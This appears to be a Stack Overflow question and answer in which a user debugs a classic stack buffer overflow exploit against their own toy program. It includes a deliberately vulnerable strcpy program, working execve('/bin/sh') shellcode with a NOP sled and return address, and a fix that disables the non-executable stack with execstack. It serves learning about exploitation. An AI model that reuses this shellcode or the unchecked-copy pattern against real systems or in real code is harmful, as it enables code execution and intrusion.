-3

I try to get a Buffer Overflow to work. I have the following simple vulnerable Program:

int main(int argc, char** argv) {
    char buffer[80];
    strcpy(buffer,argv[1]);
    return 1;
}

With the following Program i want to get a Shell with an Buffer Overflow.

char shellcode[]=
"\x31\xc0"                     
"\x50"                        
"\x68\x6e\x2f\x73\x68"        
"\x68\x2f\x2f\x62\x69"        
"\x89\xe3"                     
"\x99"                         
"\x52"
"\x53"                         
"\x89\xe1"                     
"\xb0\x0b"                     
"\xcd\x80";                    
char retaddr[] = "\xa8\xd5\xff\xff";
#define NOP 0x90
int main() {
    char buffer[96];

    memset(buffer, NOP, 96);
    memcpy(buffer, "EGG=",4);
    memcpy(buffer+4,shellcode,24);
    memcpy(buffer+88,retaddr,4);
    memcpy(buffer+92, "\x00\x00\x00\x00",4);
    putenv(buffer);
    printf("%p\n", buffer);
    system("/bin/sh");
    return 0;
}

This Program creates an Buffer with the shellcode at Beginning. After the Shellcode are some NOP Instruction and then the value that overrides the Return Address and points to the beginning of the Shellcode. Then it creates an Environment Variable with the buffer and starts a Shell.

If i run that program the shell started and the environment Variable is set. But if i try to run the vulnerable Program with the environment Variable as Parameter i get an segmentation fault.

Here are some Screens with gdb: I don't have enough reputation to post images directly so here is the link to an imgur album with the 4 pictures in it.

enter image description here

enter image description here

enter image description here

enter image description here

The first picture shows the Stack before the strcpy happens.

The second one shows argv 1

The third picture shows the stack after the strcpy.

If you can see 0xf7e00497 is the return address. If i disassamble this address the code for the libc function is shown.

In the third picture you see that this address is overridden by the address 0xffffd5a8 witch points to the top of the stack.

In Picture Number 4 you see the segmentation fault if the programm countinous to run.

Can anybody tell my why? Everything seems to be okay? I compiled both programmes with the -fno-stack-protector option of gcc.

gre_gor
  • 6,669
  • 9
  • 47
  • 52
Kevin
  • 785
  • 2
  • 10
  • 32
  • 3
    `strcoy(buffer,argv[1]);` Whats `strcoy` ??? – ameyCU Sep 27 '15 at 09:15
  • 8
    So let me get this straight: you're trying to invoke undefined behavior and it's not working the way you want it to? It's undefined behavior. You might get a seg fault, you might not, but you can't expect it to be consistent. – PC Luddite Sep 27 '15 at 09:44
  • 2
    Stack memory is not executable by default. You will need to change that. – typ1232 Sep 27 '15 at 11:19

1 Answers1

0

Thanks @type1232, the issue was that the stack is not executable.

With execstack -s vulProg, the shellcode will run.

fragilewindows
  • 1,394
  • 1
  • 15
  • 26
Kevin
  • 785
  • 2
  • 10
  • 32